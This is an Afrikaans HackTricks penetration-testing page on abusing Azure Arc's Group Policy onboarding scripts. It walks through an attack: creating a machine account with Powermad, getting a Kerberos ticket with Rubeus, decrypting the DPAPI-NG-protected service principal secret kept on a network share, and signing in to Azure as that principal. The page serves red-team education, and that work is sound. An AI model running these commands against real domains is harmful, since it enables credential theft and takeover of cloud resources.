Az - Arc kwesbare GPO Ontplooi Skrip

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Identifisering van die Probleme

Azure Arc stel die integrasie van nuwe interne bedieners (aangeslote domeinbedieners) in Azure Arc via die Groep Beleidsobjek metode moontlik. Om dit te fasiliteer, bied Microsoft ’n ontplooiing toolkit wat nodig is om die aanmeldproses te begin. Binne die ArcEnableServerGroupPolicy.zip lĂȘer, kan die volgende skripte gevind word: DeployGPO.ps1, EnableAzureArc.ps1, en AzureArcDeployment.psm1.

Wanneer uitgevoer, voer die DeployGPO.ps1 skrip die volgende aksies uit:

  1. Skep die Azure Arc Servers Aanmeld GPO binne die plaaslike domein.
  2. Kopieer die EnableAzureArc.ps1 aanmeld skrip na die aangewese netwerkdeel wat geskep is vir die aanmeldproses, wat ook die Windows installer pakket bevat.

Wanneer hierdie skrip uitgevoer word, moet stelselsadmins twee hoofparameters verskaf: ServicePrincipalId en ServicePrincipalClientSecret. Daarbenewens vereis dit ander parameters soos die domein, die FQDN van die bediener wat die deel huisves, en die deelnaam. Verdere besonderhede soos die tenant ID, hulpbron groep, en ander nodige inligting moet ook aan die skrip verskaf word.

’n GeĂ«nkripteerde geheim word in die AzureArcDeploy gids op die gespesifiseerde deel gegenereer met behulp van DPAPI-NG enkripsie. Die geĂ«nkripteerde geheim word in ’n lĂȘer genaamd encryptedServicePrincipalSecret gestoor. Bewyse hiervan kan in die DeployGPO.ps1 skrip gevind word, waar die enkripsie uitgevoer word deur ProtectBase64 aan te roep met $descriptor en $ServicePrincipalSecret as insette. Die descriptor bestaan uit die Domein Rekenaar en Domein Beheerder groep SID’s, wat verseker dat die ServicePrincipalSecret slegs deur die Domein Beheerders en Domein Rekenaar sekuriteitsgroepe ontkrip kan word, soos opgemerk in die skrip kommentaar.

# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)

Exploit

Ons het die volgende toestande:

  1. Ons het suksesvol die interne netwerk binnegedring.
  2. Ons het die vermoĂ« om ’n rekenaarrekening binne Active Directory te skep of te beheer.
  3. Ons het ’n netwerkdeel ontdek wat die AzureArcDeploy-gids bevat.

Daar is verskeie metodes om ’n masjienrekening binne ’n AD-omgewing te verkry. Een van die mees algemene is om die masjienrekeningkwota te benut. ’n Ander metode behels die kompromittering van ’n masjienrekening deur kwesbare ACL’s of verskeie ander miskonfigurasies.

Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Sodra ’n masjienrekening verkry is, is dit moontlik om met hierdie rekening te autentiseer. Ons kan of die runas.exe-opdrag met die netonly-vlag gebruik of pass-the-ticket met Rubeus.exe gebruik.

runas /user:fake01$ /netonly powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr

Deur die TGT vir ons rekenaarrekening in geheue te stoor, kan ons die volgende skrip gebruik om die dienshoofsekrte te ontsleutel.

Import-Module .\AzureArcDeployment.psm1

$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs

Alternatiewelik kan ons SecretManagement.DpapiNG gebruik.

Op hierdie punt kan ons die oorblywende inligting versamel wat nodig is om met Azure te verbind vanaf die ArcInfo.json-lĂȘer, wat op dieselfde netwerkdeel gestoor is as die encryptedServicePrincipalSecret-lĂȘer. Hierdie lĂȘer bevat besonderhede soos: TenantId, servicePrincipalClientId, ResourceGroup, en meer. Met hierdie inligting kan ons Azure CLI gebruik om as die gecompromitteerde dienshoof te autentiseer.

References

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks